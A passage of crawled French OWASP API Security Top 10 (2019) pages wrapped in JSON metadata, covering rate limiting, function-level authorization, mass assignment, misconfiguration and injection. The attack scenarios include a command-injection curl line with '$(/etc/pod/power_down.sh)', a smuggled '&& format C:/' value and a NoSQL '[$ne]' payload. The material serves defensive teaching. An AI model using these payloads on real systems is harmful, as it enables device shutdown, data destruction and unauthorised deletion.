site.\n\n- Ne comptez jamais sur le client d'API pour filtrer des données sensibles.\n- Passez en revue les réponses de l'API pour vous assurer qu'elles contiennent\n uniquement des données nécessaires.\n- Les ingénieurs backend devraient toujours se poser la question \"qui est le\n consommateur des données ?\" avant d'exposer un nouveau point d'accès d'API.\n- Évitez les méthodes génériques telles que `to_json()` ou `to_string()` .\n Au lieu de cela, choisissez les éléments précis que vous voulez vraiment retourner.\n- Classifiez les données sensibles et personnelles que votre application stocke et\n manipule, et passez en revue tous les appels d'API qui retournent de telles\n données pour voir si les réponses posent des problèmes de sécurité.\n- Implémentez un mécanisme de réponse basé sur un schéma de validation afin d'ajouter un niveau de sécurité\n supplémentaire. Au sein de ce mécanisme définissez et validez les données retournées\n par toutes les méthodes d'API, erreurs comprises.\n\n## Références\n\n### Externes\n\n- [CWE-213: Intentional Information Exposure](https://cwe.mitre.org/data/definitions/213.html)", "znaku_textu": 3851, "slov": 548, "odkazu": 69, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:41:17", "sha256": "10a90b048f1840634b3541e9dc165d9f6eda7b47c7b4869c6663ea79ec183bd5", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/213.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fr/0xa4-lack-of-resources-and-rate-limiting/", "titulek": "API4:2019 Lack of Resources & Rate Limiting - OWASP API Security Top 10", "h1": "API4:2019 Lack of Resources & Rate Limiting", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fr/0xa4-lack-of-resources-and-rate-limiting/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API4:2019 Lack of Resources & Rate Limiting"}, {"uroven": 2, "text": "L'API est-elle vulnérable ?"}, {"uroven": 2, "text": "Exemples de scénarios d'attaque"}, {"uroven": 3, "text": "Scénario #1"}, {"uroven": 3, "text": "Scénario #2"}, {"uroven": 2, "text": "Références"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externes"}], "markdown": "# API4:2019 Lack of Resources & Rate Limiting\n\n| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact |\n| --- | --- | --- |\n| Spécifique API : Exploitabilité **2** | Prévalence **3** : Détectabilité **3** | Technique **2** : Spécifique à l'organisation |\n| L'exploitation consiste en de simples requêtes d'API. Aucune authentification n'est requise. Des requêtes multiples concurrentes peuvent être effectuées depuis un unique ordinateur local ou en utilisant des ressources d'informatique en nuage. | Il est fréquent de trouver des API qui n'implémentent pas de limitations des requêtes ou dont les limitations ne sont pas correctement paramétrées. | L'exploitation peut aboutir à un déni de service, rendant l'API incapable de répondre ou même indisponible. |\n\n## L'API est-elle vulnérable ?\n\nLes requêtes d'API consomment des ressources réseau, processeur, mémoire et de stockage. La quantité de ressources requises pour satisfaire à une requête dépendent grandement des données entrées par l'utilisateur et de la logique métier du point d'accès. De plus, il faut considérer le fait que les requêtes de différents clients de l'API sont en concurrence pour l'utilisation des ressources. Une API est vulnérable si au moins une des limites suivantes est manquante ou incorrectement paramétrée (c'est-à-dire trop basse / trop élevée) :\n\n- durée maximale d'exécution\n- Maximum de mémoire allouable\n- Nombre de descripteurs de fichiers\n- Nombre de processus\n- Taille de la charge utile de la requête (ex. téléversement)\n- Nombre de requêtes par client / ressource\n- Nombre d'enregistrements par page à retourner pour chaque réponse individuelle\n\n## Exemples de scénarios d'attaque\n\n### Scénario #1\n\nUn attaquant téléverse une grande image en émettant une requête POST vers `/api/v1/images`.\nLorsque le téléversement est terminé, l'API crée plusieurs vignettes avec différentes tailles. Du fait de la taille de l'image téléversée, la mémoire disponible est saturée par la création des vignettes et l'API ne répond plus.\n\n### Scénario #2\n\nNous avons une application qui contient la liste des utilisateurs avec une limite de `200` utilisateurs par page. La liste des utilisateurs est obtenue auprès du serveur avec la requête suivante : `/api/users?page=1&size=200`. Un attaquant change la valeur de `size`\nen `200 000`, entrainant des problèmes de perfomance sur la base de données. De ce fait, l'API ne répond plus et n'est plus capable de traiter d'autres requêtes de ce client ou d'autres clients (autrement dit déni de service).\n\nLe même scénario peut être utilisé pour générer des erreurs Integer Overflow ou Buffer Overflow.\n\n- Docker permet facilement de limiter [la mémoire](https://docs.docker.com/config/containers/resource_constraints/#memory) , [le processeur](https://docs.docker.com/config/containers/resource_constraints/#cpu) , [le nombre de redémarrages](https://docs.docker.com/engine/reference/commandline/run/#restart-policies---restart) , [les descripteurs de fichiers et les processus](https://docs.docker.com/engine/reference/commandline/run/#set-ulimits-in-container---ulimit) .\n- Implémentez une limite du nombre d'appels à l'API qu'un client peut effectuer\n sur une période donnée.\n- Notifiez le client quand la limite est dépassée en indiquant la limite et quand\n cette limite sera remise à zéro.\n- Ajoutez des validations adaptées côté serveur pour les paramètres fournis en\n ou fournis en corps de requête, en particulier ceux qui contrôlent le nombre\n d'enregistrements à retourner dans la réponse.\n- Définissez et appliquez une taille maximale pour les données entrées en paramètres\n et les charges utiles, comme des longueurs maximales pour les chaines de\n caractères et un nombre maximal d'éléments dans les tableaux.\n\n## Références\n\n### OWASP\n\n- [Blocking Brute Force Attacks](https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks)\n- [Docker Cheat Sheet - Limit resources (memory, CPU, file descriptors,\n processes, restarts)](https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md#rule-7---limit-resources-memory-cpu-file-descriptors-processes-restarts)\n- [REST Assessment Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md)\n\n### Externes\n\n- [CWE-307: Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)\n- [CWE-770: Allocation of Resources Without Limits or Throttling](https://cwe.mitre.org/data/definitions/770.html)\n- “ *Rate Limiting (Throttling)* ” - [Security Strategies for Microservices-based\n Application Systems](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf) , NIST", "znaku_textu": 4663, "slov": 585, "odkazu": 79, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:12", "sha256": "40144726c23884857569a4f9526fe43033bb0ddf5fea357ded127d321dc04ca0", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://docs.docker.com/config/containers/resource_constraints/", "https://docs.docker.com/engine/reference/commandline/run/", "https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks", "https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md", "https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md", "https://cwe.mitre.org/data/definitions/307.html", "https://cwe.mitre.org/data/definitions/770.html", "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fr/0xa5-broken-function-level-authorization/", "titulek": "API5:2019 Broken Function Level Authorization - OWASP API Security Top 10", "h1": "API5:2019 Broken Function Level Authorization", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fr/0xa5-broken-function-level-authorization/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API5:2019 Broken Function Level Authorization"}, {"uroven": 2, "text": "L'API est-elle vulnérable ?"}, {"uroven": 2, "text": "Exemples de scénarios d'attaque"}, {"uroven": 3, "text": "Scénario #1"}, {"uroven": 3, "text": "Scénario #2"}, {"uroven": 2, "text": "Références"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externes"}], "markdown": "# API5:2019 Broken Function Level Authorization\n\n| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact |\n| --- | --- | --- |\n| Spécifique API : Exploitabilité **3** | Prévalence **2** : Détectabilité **1** | Technique **2** : Spécifique à l'organisation |\n| L'exploitation requiert que l'attaquant envoie des appels d'API légitimes vers un point d'accès d'API auquel il ne devrait pas avoir accès. Ces points d'accès peuvent être exposés à des utilisateurs anonymes ou à des utilisateurs normaux dépourvus de privilèges. Il est plus facile de découvrir ces failles dans les API car les API sont plus structurées, et le mode d'accès à certaines fonctions est plus prévisible (ex : remplacer la méthode HTTP GET par PUT, ou changer la chaine \"users\" de la requête en \"admins\". | Les contrôles d'autorisation pour une fonction ou une ressource sont généralement gérés via la configuration, et parfois au niveau du code. L'implémentation de contrôles appropriés peut être source de confusion, car les applications modernes peuvent contenir de nombreux types de rôles ou de groupes et une hiérarchie des utilisateurs complexe (ex : sous-utilisateurs, utilisateurs avec plusieurs rôles). | Ces failles permettent aux attaquants d'accéder à des fonctionnalités non autorisées. Les tâches administratives constituent des cibles principales pour ce type d'attaque. |\n\n## L'API est-elle vulnérable ?\n\nLa meilleure manière de trouver des problèmes de niveaux d'accès aux fonctionnalités consiste à effectuer une analyse approfondie du mécanisme d'autorisation, tout en gardant à l'esprit la hiérarchie des utilisateurs, les différents rôles ou groupes dans l'application, et à poser les questions suivantes :\n\n- Un utilisateur normal peut-il accéder à des points d'accès d'administration ?\n- Un utilisateur peut-il effectuer des actions sensibles (ex : création,\n modification ou suppression) auxquelles il ne devrait pas avoir accès en\n changeant simplement la méthode HTTP (ex : de `GET` à `DELETE` ) ?\n- Un utilisateur du groupe X peut-il accéder à une fonction qui ne devrait être\n accessible qu'aux utilisateurs du groupe Y, simplement en devinant l'URL du\n point d'accès et les paramètres (ex : `/api/v1/users/export_all` ) ?\n\nNe supposez pas qu'un point d'accès d'API est normal ou administrateur\nuniquement sur la base du chemin de l'URL.\n\nSi les développeurs peuvent choisir d'exposer la plupart des points d'accès\nd'administration sous un chemin relatif spécifique, comme `api/admins`, on\ntrouve très fréquemment ces points d'accès administrateur sous d'autres chemins\nrelatifs mélés aux points d'accès normaux, comme `api/users`.\n\n## Exemples de scénarios d'attaque\n\n### Scénario #1\n\nAu cours du processus d'enregistrement à une application qui permet uniquement\naux utilisateurs invités de s'inscrire, l'application mobile effectue un appel\nd'API à `GET /api/invites/{invite_guid}`. La réponse contient un JSON avec des\ninformations sur l'invitation, parmi lesquelles le rôle de l'utilisateur et son\ne-mail.\n\nUn attaquant a dupliqué la requête et manipulé la méthode HTTP et le point\nd'accès vers `POST /api/invites/new`. Ce point d'accès devrait être accessible\nuniquement aux administrateurs via la console d'administration, qui\nn'implémente pas de contrôles de niveaux d'accès aux fonctionnalités.\n\nL'attaquant exploite cette faille et s'envoie à lui-même une invitation pour se\ncréer un compte administrateur :\n\n```\nPOST /api/invites/new\n\n{“email”:”[email protected]”,”role”:”admin”}\n```\n\n### Scénario #2\n\nUne API comporte un point d'accès qui devrait uniquement être accessible aux\nadministrateurs : `GET /api/admin/v1/users/all`. Ce point d'accès renvoie les\ninformations sur tous les utilisateurs de l'application et n'implémente pas de\ncontrôles d'autorisations d'accès. Un attaquant ayant appris la\nstructure de l'API effectue une déduction logique et réussit à accéder à ce\npoint d'accès, qui expose des données sensibles sur les utilisateurs de\nl'application..\n\nVotre application devrait disposer d'un module d'autorisations constant et\nfacile à analyser qui est invoqué par toutes vos fonctions métiers.\nFréquemment, cette protection est fournie par un ou plusieurs composants\nexternes au code de l'application.\n\n- Le(s) mécanisme(s) de contrôle devraient interdire tous les accès par défaut,\n et requérir des privilèges explicites à des rôles spécifiques pour l'accès à\n toutes les fonctions.\n- Passez en revue vos points d'accès d'API à la recherche des défauts d'autorisations\n niveau des fonctions, en gardant à l'esprit la logique applicative et la\n hiérarchie des groupes.\n- Assurez-vous que tous vos contrôleurs d'administration héritent d'un\n contrôleur d'administration abstrait qui implémente des contrôles\n d'autorisation basés sur le groupe / rôle de l'utilisateur.\n- Assurez-vous que les fonctions d'administration à l'intérieur d'un contrôleur\n normal implémentent des contrôles d'autorisation basés sur le groupe / rôle\n de l'utilisateur.\n\n## Références\n\n### OWASP\n\n- [OWASP Article on Forced Browsing](https://www.owasp.org/index.php/Forced_browsing)\n- [OWASP Top 10 2013-A7-Missing Function Level Access Control](https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control)\n- [OWASP Development Guide: Chapter on Authorization](https://www.owasp.org/index.php/Category:Access_Control)\n\n### Externes\n\n- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)", "znaku_textu": 5335, "slov": 738, "odkazu": 74, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:25", "sha256": "055738b6530b6309d6863e19701ff2abd1f1864838abce8fdf41f966211639ae", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Forced_browsing", "https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control", "https://www.owasp.org/index.php/Category:Access_Control", "https://cwe.mitre.org/data/definitions/285.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fr/0xa6-mass-assignment/", "titulek": "API6:2019 - Mass Assignment - OWASP API Security Top 10", "h1": "API6:2019 - Mass Assignment", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fr/0xa6-mass-assignment/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API6:2019 - Mass Assignment"}, {"uroven": 2, "text": "L'API est-elle vulnérable ?"}, {"uroven": 2, "text": "Exemples de scénarios d'attaque"}, {"uroven": 3, "text": "Scénario #1"}, {"uroven": 3, "text": "Scénario #2"}, {"uroven": 2, "text": "Références"}, {"uroven": 3, "text": "Externes"}], "markdown": "# API6:2019 - Mass Assignment\n\n| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact |\n| --- | --- | --- |\n| Spécifique API : Exploitabilité **2** | Prévalence **2** : Détectabilité **2** | Technique **2** : Spécifique à l'organisation |\n| L'exploitation requiert généralement une compréhension de la logique métier, des relations entre objets, et de la structure de l'API. L'exploitation de l'assignation massive est plus facile dans les API, car par conception elles exposent l'implémentation sous-jacente de l'application ainsi que les noms des attributs. | Les frameworks modernes encouragent les développeurs à utiliser des fonctions qui lient automatiquement les entrées du client aux variables du code et aux objets internes. Des attaquants peuvent utiliser cette méthodologie pour modifier ou écraser des attributs d'objets sensibles que les développeurs n'avaient jamais eu l'intention d'exposer. | L'exploitation peut conduire à l'élévation des privilèges, la falsification des données, au contournement de mécanismes de sécurité, et plus encore. |\n\n## L'API est-elle vulnérable ?\n\nLes objets des applications modernes peuvent posséder de nombreux attributs.\nCertains de ces attributs doivent pouvoir être actualisés par le client (ex :\n`user.first_name` ou `user.address`) et d'autres ne doivent pas pouvoir l'être\n(ex : drapeau `user.is_vip`).\n\nUn point d'accès d'API est vulnérable s'il convertit automatiquement des\nparamètres client en attributs objet internes, sans prendre en compte la\nsensibilité et le niveau d'exposition de ces attributs. Ceci pourrait\npermettre à un attaquant d'actualiser des attributs d'objets auxquels il ne\ndevrait pas avoir accès.\n\nExemples d'informations sensibles :\n\n- **Attributs liés à des permissions** : `user.is_admin` , `user.is_vip` doivent\n être définis uniquement par des administrateurs.\n- **Attributs dépendant de processus** : `user.cash` ne doit être défini au niveau interne qu'après vérification du paiement.\n- **Attributs internes** : `article.created_time` doit être\n défini uniquement par l'application.\n\n## Exemples de scénarios d'attaque\n\n### Scénario #1\n\nUne application de covoiturage permet à l'utilisateur de modifier les\ninformations de base de son profil. Au cours de ce processus, un appel d'API\nest envoyé à `PUT /api/v1/users/me` avec l'objet JSON légitime suivant :\n\n```\n{\"user_name\":\"inons\",\"age\":24}\n```\n\nLa requête `GET /api/v1/users/me` comporte un attribut supplémentaire sur le\nsolde du compte :\n\n```\n{\"user_name\":\"inons\",\"age\":24,\"credit_balance\":10}\n```\n\nL'attaquant rejoue la première requête avec la charge utile suivante :\n\n```\n{\"user_name\":\"attacker\",\"age\":60,\"credit_balance\":99999}\n```\n\nLe point d'accès étant vulnérable à l'assignation massive, l'attaquant dispose\ndu crédit sans avoir payé.\n\n### Scénario #2\n\nUn portail de partage de vidéos permet aux utilisateurs de téléverser et de\ntélécharger du contenu dans différents formats. Un attaquant qui explore l'API\ndécouvre que le point d'accès `GET /api/v1/videos/{video_id}/meta_data`\nretourne un objet JSON avec les attributs de la vidéo. L'un des attributs est `\"mp4_conversion_params\":\"-v codec h264\"`, qui indique que l'application\nutilise une commande shell pour convertir la vidéo.\n\nL'attaquant a également découvert que le point d'accès\n`POST /api/v1/videos/new` est vulnérable à l'assignation massive et permet au\nclient de définir n'importe quel attribut de l'objet vidéo. L'attaquant définit\nune valeur malveillante de la manière suivante :\n`\"mp4_conversion_params\":\"-v codec h264 && format C:/\"`. Cette valeur va\nentrainer une injection de commande shell quand l'attaquant chargera la vidéo\nau format MP4.\n\n- Si possible, évitez d'utiliser des fonctions qui lient automatiquement une\n saisie client à des variables du code ou des objets internes.\n- Autorisez uniquement les attributs qui doivent pouvoir être actualisés par le\n client.\n- Utilisez les fonctionnalités natives pour interdire les attributs qui ne\n doivent pas être accessibles aux clients.\n- Si applicable, définissez et imposez des schémas pour la validation des\n données d'entrée de la charge utile .\n\n## Références\n\n### Externes\n\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)", "znaku_textu": 4163, "slov": 567, "odkazu": 69, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:55", "sha256": "a49fcc5b099633e353e76a01a8f6fbdeeebca039fc6e8119b8aaeae42c4eb17e", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/915.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fr/0xa7-security-misconfiguration/", "titulek": "API7:2019 Security Misconfiguration - OWASP API Security Top 10", "h1": "API7:2019 Security Misconfiguration", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fr/0xa7-security-misconfiguration/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API7:2019 Security Misconfiguration"}, {"uroven": 2, "text": "L'API est-elle vulnérable ?"}, {"uroven": 2, "text": "Exemples de scénarios d'attaque"}, {"uroven": 3, "text": "Scénario #1"}, {"uroven": 3, "text": "Scénario #2"}, {"uroven": 3, "text": "Scénario #3"}, {"uroven": 2, "text": "Références"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externes"}], "markdown": "# API7:2019 Security Misconfiguration\n\n| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact |\n| --- | --- | --- |\n| Spécifique API : Exploitabilité **3** | Prévalence **3** : Détectabilité **3** | Technique **2** : Spécifique à l'organisation |\n| Les attaquants essaieront souvent de trouver des failles non corrigées, des points d'accès courants, ou des fichiers et des répertoires non protégés pour obtenir un accès non autorisé ou des informations sur le système. | Des erreurs de configuration de sécurité peuvent se produire à toutes les couches de l'API, depuis la couche réseau jusqu'à la couche applicative. Il existe des outils automatisés pour détecter et exploiter des erreurs de configuration telles que des services non nécessaires ou d'anciennes options. | Les erreurs de configuration de sécurité peuvent non seulement exposer des données utilisateur confidentielles, mais aussi des informations système qui peuvent aboutir à une compromission complète du serveur. |\n\n## L'API est-elle vulnérable ?\n\nL'API peut être vulnérable si :\n\n- Un durcissement approprié de la sécurité est manquant sur n'importe quelle\n partie de la pile applicative, ou si elle possède des permissions mal\n configurées au niveau de services cloud.\n- Les dernières mises à jour de sécurité ne sont pas appliquées, ou les\n systèmes sont obsolètes.\n- Des fonctionnalités non nécessaires sont déployées (ex : verbes HTTP).\n- La sécurité de la couche de transport (TLS) est manquante.\n- Les instructions d'en-têtes sécurisées ne sont pas envoyées au client \n (e.g., [Security Headers](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project) ).\n- La politique de partage de ressources entre origines multiples (CORS) est\n manquante ou mal définie.\n- Les messages d'erreurs incluent des traces de pile d'exécution, ou exposent\n d'autres informations sensibles.\n\n## Exemples de scénarios d'attaque\n\n### Scénario #1\n\nUn attaquant trouve le fichier `.bash_history` dans le répertoire racine du\nserveur, qui contient les commandes utilisées par l'équipe DevOps pour accéder\nà l'API :\n\n```\n$ curl -X GET 'https://api.server/endpoint/' -H 'authorization: Basic Zm9vOmJhcg=='\n```\n\nUn attaquant pourrait aussi découvrir de nouveaux points d'accès de l'API qui\nsont uniquement utilisés par l'équipe DevOps et qui ne sont pas documentés.\n\n### Scénario #2\n\nPour cibler un service spécifique, un attaquant utilise un moteur de recherche\npopulaire pour chercher les ordinateurs directement accessibles depuis\nl'internet. L'attaquant trouve un hôte faisant tourner un système populaire de\ngestion de bases de données, qui écoute sur le port par défaut. L'hôte\nutilisait la configuration par défaut, dans laquelle l'authentification est\ndésactivée par défaut, et l'attaquant a obtenu accès à des millions\nd'enregistrements contenant des données personnelles, des préférences\npersonnelles, et des données d'authentification.\n\n### Scénario #3\n\nEn inspectant le trafic d'une application mobile un attaquant découvre que tout\nle trafic n'est pas effectué avec un protocole sécurisé (ex : TLS). L'attaquant\nle constate en particulier pour le téléchargement des images de profil. Comme\nl'interaction est binaire, malgré le fait que le trafic API est effectué sur un\nprotocole sécurisé, l'attaquant remarque un schéma au niveau de la taille des\nréponses de l'API, qu'il utilise pour pister les préférences utilisateur à\npartir du contenu rendu (ex : images de profil).\n\nLe cycle de vie de l'API devrait inclure :\n\n- Un processus de durcissement permettant le déploiement rapide et facile d'un\n environnement correctement verrouillé.\n- Une tâche pour évaluer et actualiser les configurations sur l'ensemble des\n couches de l'API. L'évaluation devrait couvrir : les fichiers\n d'orchestration, les composants d'API, et les services cloud\n (ex : permissions des compartiments de stockage S3).\n- Un canal de communication sécurisé pour tous les accès API d'interaction\n avec les éléments statiques (ex : images).\n- Un processus automatisé pour évaluer en continu l'efficacité de la\n configuration et des réglages dans tous les environnements.\n\nDe plus :\n\n- Pour éviter que des traces d'appels lors d'exceptions et d'autres informations importantes\n ne soient renvoyées aux attaquants, si applicable, définissez et implémentez\n des schémas pour toutes les réponses y compris les erreurs.\n- Assurez-vous que l'API ne soit accessible qu'avec des verbes HTTP\n spécifiques. Tous les autres verbes HTTP doivent être désactivés (ex : `HEAD` ).\n- Les API devant être accessibles via des clients basés sur des navigateurs\n (ex : WebApp en front-end) doivent implémenter une politique appropriée de \n partage de ressources entre origines multiples (CORS).\n\n## Références\n\n### OWASP\n\n- [OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project)\n- [OWASP Testing Guide: Configuration Management](https://www.owasp.org/index.php/Testing_for_configuration_management)\n- [OWASP Testing Guide: Testing for Error Codes](https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001))\n- [OWASP Testing Guide: Test Cross Origin Resource Sharing](https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007))\n\n### Externes\n\n- [CWE-2: Environmental Security Flaws](https://cwe.mitre.org/data/definitions/2.html)\n- [CWE-16: Configuration](https://cwe.mitre.org/data/definitions/16.html)\n- [CWE-388: Error Handling](https://cwe.mitre.org/data/definitions/388.html)\n- [Guide to General Server Security](https://csrc.nist.gov/publications/detail/sp/800-123/final) , NIST\n- [Let’s Encrypt: a free, automated, and open Certificate Authority](https://letsencrypt.org/)", "znaku_textu": 5551, "slov": 728, "odkazu": 79, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:31:08", "sha256": "34fb442ec9bdcef46a83adce209c05804319c9760b8d365c3abcb75b0da68822", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Secure_Headers_Project", "https://www.owasp.org/index.php/Testing_for_configuration_management", "https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001)", "https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)", "https://cwe.mitre.org/data/definitions/2.html", "https://cwe.mitre.org/data/definitions/16.html", "https://cwe.mitre.org/data/definitions/388.html", "https://csrc.nist.gov/publications/detail/sp/800-123/final", "https://letsencrypt.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fr/0xa8-injection/", "titulek": "API8:2019 Injection - OWASP API Security Top 10", "h1": "API8:2019 Injection", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fr/0xa8-injection/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API8:2019 Injection"}, {"uroven": 2, "text": "L'API est-elle vulnérable ?"}, {"uroven": 2, "text": "Exemples de scénarios d'attaque"}, {"uroven": 3, "text": "Scénario #1"}, {"uroven": 3, "text": "Scénario #2"}, {"uroven": 2, "text": "Références"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externes"}], "markdown": "# API8:2019 Injection\n\n| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact |\n| --- | --- | --- |\n| Spécifique API : Exploitabilité **3** | Prévalence **2** : Détectabilité **3** | Technique **3** : Spécifique à l'organisation |\n| Les attaquants vont envoyer à l'API des données malveillantes via tout vecteur d'injection disponible (ex : entrée directe, paramètres, services intégrés, etc), en espérant qu'elles soient envoyés à un interpréteur. | Les failles par injection sont très courantes et souvent trouvées dans des requêtes SQL, LDAP, ou NoSQL, des commandes systèmes (OS), des parsers XML et des ORM. Ces failles sont faciles à trouver lors de la revue du code source. Les attaquants peuvent utiliser des scanners et des fuzzers. | L'injection peut aboutir à des divulgations d'informations et des pertes de données. Elle peut aussi aboutir à un déni de service, ou à une prise de contrôle complète de l'hôte. |\n\n## L'API est-elle vulnérable ?\n\nL'API est vulnérables à l'injection si :\n\n- Les données fournies par le client ne sont pas validées, filtrées et épurées\n par l'API.\n- Les données fournies par le client sont directement utilisées ou concaténées\n dans des requêtes SQL / NoSQL / LDAP, des commandes de système\n d'exploitation, des parsers XML ou des mappages objet-relationnel (ORM) /\n mappages objet-document (ODM).\n- Les données en provenance de systèmes externes (ex : systèmes intégrés) ne\n sont pas validées, filtrées et épurées par l'API.\n\n## Exemples de scénarios d'attaque\n\n### Scénario #1\n\nLe firmware d'un appareil de contrôle parental dispose d'un point d'accès\n`/api/CONFIG/restore` qui prend en entrée un appId devant être envoyé comme\nparamètre multiparties. Avec un décompilateur, un attaquant découvre que\nl'appId est passé directement dans un appel système sans aucune épuration :\n\n```\nsnprintf(cmd, 128, \"%srestore_backup.sh /tmp/postfile.bin %s %d\",\n \"/mnt/shares/usr/bin/scripts/\", appid, 66);\nsystem(cmd);\n```\n\nLa commande suivante permet à l'attaquant d'arrêter tout appareil équipé de ce\nmême firmware vulnérable :\n\n```\n$ curl -k \"https://${deviceIP}:4567/api/CONFIG/restore\" -F 'appid=$(/etc/pod/power_down.sh)'\n```\n\n### Scénario #2\n\nNous avons une application dotée de fonctionnalités CRUD basiques pour les\nopérations de réservation. Un attaquant a réussi à découvrir qu'une injection\nNoSQL pourrait être possible via le paramètre `bookingId` de la chaine de\nrequête pour la suppression d'une réservation. Voici à quoi ressemble cette\nrequête : `DELETE /api/bookings?bookingId=678`.\n\nL'API serveur utilise la fonction suivante pour traiter les requêtes de\nsuppression :\n\n```\nrouter.delete('/bookings', async function (req, res, next) {\n try {\n const deletedBooking = await Bookings.findOneAndRemove({'_id' : req.query.bookingId});\n res.status(200);\n } catch (err) {\n res.status(400).json({error: 'Unexpected error occured while processing a request'});\n }\n});\n```\n\nL'attaquant a intercepté la requête et a remplacé le paramètre `bookingId` de\nla chaine de requête comme indiqué ci-dessous. Dans le cas présent, l'attaquant\na réussi à supprimer la réservation d'un autre utilisateur :\n\n```\nDELETE /api/bookings?bookingId[$ne]=678\n```\n\nPrévenir les injections requiert de séparer les données des commandes et des\nrequêtes.\n\n- Effectuez la validation des données avec une bibliothèque unique, digne de\n confiance et activement maintenue.\n- Validez, filtrez et épurez toutes les données fournies par le client, ou les\n autres données en provenance de systèmes intégrés.\n- Les caractères spéciaux doivent être échappés en utilisant la syntaxe\n spécifique à l'interpréteur cible.\n- Préférez une API sûre qui fournit une interface paramétrée.\n- Limitez toujours le nombre d'enregistrements retournés pour éviter les\n divulgations de masse en cas d'injection.\n- Validez les données entrantes avec suffisamment de filtres pour 